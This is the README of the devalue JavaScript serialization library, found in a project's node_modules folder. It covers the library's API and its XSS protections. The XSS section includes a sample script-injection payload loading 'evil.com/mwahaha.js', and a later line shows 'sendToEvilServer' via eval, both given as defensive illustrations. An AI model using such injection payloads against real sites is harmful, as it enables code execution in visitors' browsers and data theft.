printer-notifications/node_modules/devalue/README.md
2023-11-13 16:10:04 -05:00

226 lines
6.0 KiB
Markdown

# devalue
Like `JSON.stringify`, but handles
- cyclical references (`obj.self = obj`)
- repeated references (`[value, value]`)
- `undefined`, `Infinity`, `NaN`, `-0`
- regular expressions
- dates
- `Map` and `Set`
- `BigInt`
- custom types via replacers, reducers and revivers
Try it out [here](https://svelte.dev/repl/138d70def7a748ce9eda736ef1c71239?version=3.49.0).
## Goals:
- Performance
- Security (see [XSS mitigation](#xss-mitigation))
- Compact output
## Non-goals:
- Human-readable output
- Stringifying functions
## Usage
There are two ways to use `devalue`:
### `uneval`
This function takes a JavaScript value and returns the JavaScript code to create an equivalent value — sort of like `eval` in reverse:
```js
import * as devalue from 'devalue';
let obj = { message: 'hello' };
devalue.uneval(obj); // '{message:"hello"}'
obj.self = obj;
devalue.uneval(obj); // '(function(a){a.message="hello";a.self=a;return a}({}))'
```
Use `uneval` when you want the most compact possible output and don't want to include any code for parsing the serialized value.
### `stringify` and `parse`
These two functions are analogous to `JSON.stringify` and `JSON.parse`:
```js
import * as devalue from 'devalue';
let obj = { message: 'hello' };
let stringified = devalue.stringify(obj); // '[{"message":1},"hello"]'
devalue.parse(stringified); // { message: 'hello' }
obj.self = obj;
stringified = devalue.stringify(obj); // '[{"message":1,"self":0},"hello"]'
devalue.parse(stringified); // { message: 'hello', self: [Circular] }
```
Use `stringify` and `parse` when evaluating JavaScript isn't an option.
### `unflatten`
In the case where devalued data is one part of a larger JSON string, `unflatten` allows you to revive just the bit you need:
```js
import * as devalue from 'devalue';
const json = `{
"type": "data",
"data": ${devalue.stringify(data)}
}`;
const data = devalue.unflatten(JSON.parse(json).data);
```
## Custom types
You can serialize and serialize custom types by passing a second argument to `stringify` containing an object of types and their _reducers_, and a second argument to `parse` or `unflatten` containing an object of types and their _revivers_:
```js
class Vector {
constructor(x, y) {
this.x = x;
this.y = y;
}
magnitude() {
return Math.sqrt(this.x * this.x + this.y * this.y);
}
}
const stringified = devalue.stringify(new Vector(30, 40), {
Vector: (value) => value instanceof Vector && [value.x, value.y]
});
console.log(stringified); // [["Vector",1],[2,3],30,40]
const vector = devalue.parse(stringified, {
Vector: ([x, y]) => new Vector(x, y)
});
console.log(vector.magnitude()); // 50
```
If a function passed to `stringify` returns a truthy value, it's treated as a match.
You can also use custom types with `uneval` by specifying a custom replacer:
```js
devalue.uneval(vector, (value, uneval) => {
if (value instanceof Vector) {
return `new Vector(${value.x},${value.y})`;
}
}); // `new Vector(30,40)`
```
Note that any variables referenced in the resulting JavaScript (like `Vector` in the example above) must be in scope when it runs.
## Error handling
If `uneval` or `stringify` encounters a function or a non-POJO that isn't handled by a custom replacer/reducer, it will throw an error. You can find where in the input data the offending value lives by inspecting `error.path`:
```js
try {
const map = new Map();
map.set('key', function invalid() {});
uneval({
object: {
array: [map]
}
});
} catch (e) {
console.log(e.path); // '.object.array[0].get("key")'
}
```
## XSS mitigation
Say you're server-rendering a page and want to serialize some state, which could include user input. `JSON.stringify` doesn't protect against XSS attacks:
```js
const state = {
userinput: `</script><script src='https://evil.com/mwahaha.js'>`
};
const template = `
<script>
// NEVER DO THIS
var preloaded = ${JSON.stringify(state)};
</script>`;
```
Which would result in this:
```html
<script>
// NEVER DO THIS
var preloaded = {"userinput":"
</script>
<script src="https://evil.com/mwahaha.js">
"};
</script>
```
Using `uneval` or `stringify`, we're protected against that attack:
```js
const template = `
<script>
var preloaded = ${uneval(state)};
</script>`;
```
```html
<script>
var preloaded = {
userinput:
"\\u003C\\u002Fscript\\u003E\\u003Cscript src='https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js'\\u003E"
};
</script>
```
This, along with the fact that `uneval` and `stringify` bail on functions and non-POJOs, stops attackers from executing arbitrary code. Strings generated by `uneval` can be safely deserialized with `eval` or `new Function`:
```js
const value = (0, eval)('(' + str + ')');
```
## Other security considerations
While `uneval` prevents the XSS vulnerability shown above, meaning you can use it to send data from server to client, **you should not send user data from client to server** using the same method. Since it has to be evaluated, an attacker that successfully submitted data that bypassed `uneval` would have access to your system.
When using `eval`, ensure that you call it _indirectly_ so that the evaluated code doesn't have access to the surrounding scope:
```js
{
const sensitiveData = 'Setec Astronomy';
eval('sendToEvilServer(sensitiveData)'); // pwned :(
(0, eval)('sendToEvilServer(sensitiveData)'); // nice try, evildoer!
}
```
Using `new Function(code)` is akin to using indirect eval.
## See also
- [lave](https://github.com/jed/lave) by Jed Schmidt
- [arson](https://github.com/benjamn/arson) by Ben Newman. The `stringify`/`parse` approach in `devalue` was inspired by `arson`
- [oson](https://github.com/KnorpelSenf/oson) by Steffen Trog
- [tosource](https://github.com/marcello3d/node-tosource) by Marcello Bastéa-Forte
- [serialize-javascript](https://github.com/yahoo/serialize-javascript) by Eric Ferraiuolo
- [jsesc](https://github.com/mathiasbynens/jsesc) by Mathias Bynens
- [superjson](https://github.com/blitz-js/superjson) by Blitz
- [next-json](https://github.com/iccicci/next-json) by Daniele Ricci
## License
[MIT](LICENSE)